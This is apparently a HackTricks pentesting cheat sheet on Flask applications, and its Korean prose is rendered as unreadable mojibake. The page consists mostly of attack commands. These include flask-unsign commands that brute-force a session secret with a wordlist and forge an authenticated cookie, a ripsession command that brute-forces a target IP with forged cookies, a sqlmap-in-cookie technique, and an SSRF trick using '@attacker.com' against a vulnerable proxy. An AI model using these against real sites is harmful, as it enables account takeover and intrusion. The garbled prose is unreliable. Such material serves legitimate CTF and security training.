Flask

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

์•„๋งˆ๋„ CTF๋ฅผ ์ง„ํ–‰ํ•˜๊ณ  ์žˆ๋‹ค๋ฉด Flask ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ SSTI์™€ ๊ด€๋ จ์ด ์žˆ์„ ๊ฒƒ์ž…๋‹ˆ๋‹ค.

Cookies

๊ธฐ๋ณธ ์ฟ ํ‚ค ์„ธ์…˜ ์ด๋ฆ„์€ **session**์ž…๋‹ˆ๋‹ค.

Decoder

์˜จ๋ผ์ธ Flask ์ฟ ํ‚ค ๋””์ฝ”๋”: https://www.kirsle.net/wizards/flask-session.cgi

Manual

์ฟ ํ‚ค์˜ ์ฒซ ๋ฒˆ์งธ ๋ถ€๋ถ„์„ ์ฒซ ๋ฒˆ์งธ ์ ๊นŒ์ง€ ๊ฐ€์ ธ์™€์„œ Base64๋กœ ๋””์ฝ”๋“œํ•ฉ๋‹ˆ๋‹ค.

echo "ImhlbGxvIg" | base64 -d

์ฟ ํ‚ค๋Š” ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์„œ๋ช…๋ฉ๋‹ˆ๋‹ค.

Flask-Unsign

Flask ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ์„ธ์…˜ ์ฟ ํ‚ค๋ฅผ ๊ฐ€์ ธ์˜ค๊ณ , ๋””์ฝ”๋“œํ•˜๊ณ , ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž… ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•˜๋ฉฐ, ๋น„๋ฐ€ ํ‚ค๋ฅผ ์ถ”์ธกํ•˜์—ฌ ์ œ์ž‘ํ•˜๋Š” ๋ช…๋ น์ค„ ๋„๊ตฌ์ž…๋‹ˆ๋‹ค.

Client Challenge

pip3 install flask-unsign

์ฟ ํ‚ค ๋””์ฝ”๋“œ

flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'

๋ธŒ๋ฃจํŠธ ํฌ์Šค

flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval

์„œ๋ช…

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

๋ ˆ๊ฑฐ์‹œ(๊ตฌ๋ฒ„์ „) ์‚ฌ์šฉํ•˜์—ฌ ์„œ๋ช…ํ•˜๊ธฐ

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy

RIPsession

์ฟ ํ‚ค๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์›น์‚ฌ์ดํŠธ๋ฅผ ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž… ๊ณต๊ฒฉํ•˜๋Š” ๋ช…๋ น์ค„ ๋„๊ตฌ๋กœ, flask-unsign์œผ๋กœ ์ œ์ž‘๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

GitHub - Tagvi/ripsession: A command line tool to brute-force websites using cookies crafted with flask-unsign.

ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt

Flask ์„ธ์…˜ ์ฟ ํ‚ค์—์„œ SQLi์™€ SQLmap

์ด ์˜ˆ์ œ์—์„œ๋Š” sqlmap eval ์˜ต์…˜์„ ์‚ฌ์šฉํ•˜์—ฌ Flask์— ๋Œ€ํ•œ sqlmap ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ž๋™์œผ๋กœ ์„œ๋ช…ํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค.

SSRF๋ฅผ ์œ„ํ•œ Flask ํ”„๋ก์‹œ

์ด ๊ธ€์—์„œ๋Š” Flask๊ฐ€ โ€œ@โ€ ๋ฌธ์ž๋กœ ์‹œ์ž‘ํ•˜๋Š” ์š”์ฒญ์„ ํ—ˆ์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ์„ค๋ช…ํ•ฉ๋‹ˆ๋‹ค.

GET @/ HTTP/1.1
Host: target.com
Connection: close

๋‹ค์Œ ์‹œ๋‚˜๋ฆฌ์˜ค์—์„œ:

from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com/'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content

app.run(host='0.0.0.0', port=8080)

โ€œ@attacker.comโ€œ๊ณผ ๊ฐ™์€ ๊ฒƒ์„ ๋„์ž…ํ•  ์ˆ˜ ์žˆ์–ด SSRF๋ฅผ ์œ ๋ฐœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ